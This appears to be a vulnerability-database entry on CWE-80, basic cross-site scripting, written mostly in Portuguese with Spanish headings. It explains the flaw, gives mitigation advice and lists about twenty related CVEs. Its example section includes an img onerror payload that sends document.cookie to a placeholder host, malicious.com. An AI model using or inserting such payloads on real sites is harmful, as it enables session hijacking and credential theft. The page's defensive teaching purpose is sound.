Fallos del tipo CWE-80

646 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2020-2494—Cross-site Scripting Vulnerability in Music StationEPSS 1.0%CVE-2018-4848—A vulnerability has been identified in SCALANCE X-200 switch family (incl. SIPLUS NET variants) (All versions < V5.2.3), SCALANCE X-200IRT sEPSS 1.0%CVE-2020-2497—Cross-site scripting vulnerability in QTS and QuTS heroEPSS 1.0%CVE-2024-34070CRITICALFroxlor Vulnerable to Blind XSS Leading to Froxlor Application CompromiseEPSS 1.0%CVE-2021-1420MEDIUMCisco Webex Meetings HTML Injection VulnerabilityEPSS 1.0%CVE-2019-25028MEDIUMStored cross-site scripting in Grid component in Vaadin 7 and 8EPSS 0.9%CVE-2018-19955—The cross-site scripting vulnerability has been reported to affect earlier versions of Photo Station. If exploited, the vulnerability could EPSS 0.9%CVE-2018-19956—The cross-site scripting vulnerability has been reported to affect earlier versions of Photo Station. If exploited, the vulnerability could EPSS 0.9%CVE-2018-19954—The cross-site scripting vulnerability has been reported to affect earlier versions of Photo Station. If exploited, the vulnerability could EPSS 0.9%CVE-2023-4663MEDIUMXSS in Saphira ConnectEPSS 0.9%CVE-2019-25070LOWWolfCMS User Add cross site scriptingEPSS 0.9%CVE-2024-24574MEDIUMphpMyFAQ vulnerable to stored XSS on attachments filenameEPSS 0.9%CVE-2019-6577—A vulnerability has been identified in SIMATIC HMI Comfort Panels 4" - 22" (All versions < V15.1 Update 1), SIMATIC HMI Comfort Outdoor PaneEPSS 0.9%CVE-2020-8966MEDIUMCross Site Scripting (XSS) flaws found in Tiki-Wiki CMS softwareEPSS 0.9%CVE-2022-29168CRITICALCross Site Scripting in Wire MessagesEPSS 0.9%CVE-2022-3844LOWWebmin index.cgi cross site scriptingEPSS 0.8%CVE-2017-20054LOWXYZScripts Contact Form Manager Plugin cross site scritingEPSS 0.8%CVE-2017-20056LOWweblizar User Login Log Plugin Stored cross site scritingEPSS 0.8%CVE-2017-20055LOWBestWebSoft Contact Form Plugin Stored cross site scritingEPSS 0.8%CVE-2017-16015—Forms is a library for easily creating HTML forms. Versions before 1.3.0 did not have proper html escaping. This means that if the applicatiEPSS 0.8%